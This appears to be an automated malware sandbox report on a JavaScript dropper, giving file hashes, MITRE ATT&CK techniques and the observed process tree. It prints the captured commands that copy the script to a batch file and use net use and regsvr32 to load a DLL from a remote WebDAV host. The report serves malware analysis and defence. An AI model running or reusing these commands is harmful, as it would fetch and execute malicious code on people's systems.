404adcf475877d3deda78b044d460ae13e04dd03859a1dcc153aef28667c344c

Analysis

max time kernel
92s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
10/07/2024, 01:25

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General

Target

30557306321113626945.js
Size

5KB
MD5

cff872d6669a626c019b2e1c157d1410
SHA1

a1eaabf62b9be46406f832e3e2d78b935c645bc6
SHA256

5095d9c7d58c3c90b2379a40be496467d78803b5c0daa3cb3215a51e105b77ae
SHA512

59cba94910f0bad56fe3239a322f1de8952ee9191687e21fd6d93feac35f4a166721984485de291124570a1ab63bcd9fcfa631c0dcf52f80385f51bdb84a136e
SSDEEP

96:PUbwTauP7naqAnaq5dekQKJLx2LcIqMHWC2vTlmVYqBpWkW9kEWg:yukQKJLffC24qR9kxg

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 4512	2536	wscript.exe	81
PID 2536 wrote to memory of 4512	2536	wscript.exe	81
PID 4512 wrote to memory of 3152	4512	cmd.exe	84
PID 4512 wrote to memory of 3152	4512	cmd.exe	84
PID 4512 wrote to memory of 1100	4512	cmd.exe	85
PID 4512 wrote to memory of 1100	4512	cmd.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\30557306321113626945.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\30557306321113626945.js" "C:\Users\Admin\\uvgedr.bat" && "C:\Users\Admin\\uvgedr.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3152
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\392.dll
    3⤵
    PID:1100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\uvgedr.bat

Filesize
5KB

MD5
cff872d6669a626c019b2e1c157d1410

SHA1
a1eaabf62b9be46406f832e3e2d78b935c645bc6

SHA256
5095d9c7d58c3c90b2379a40be496467d78803b5c0daa3cb3215a51e105b77ae

SHA512
59cba94910f0bad56fe3239a322f1de8952ee9191687e21fd6d93feac35f4a166721984485de291124570a1ab63bcd9fcfa631c0dcf52f80385f51bdb84a136e

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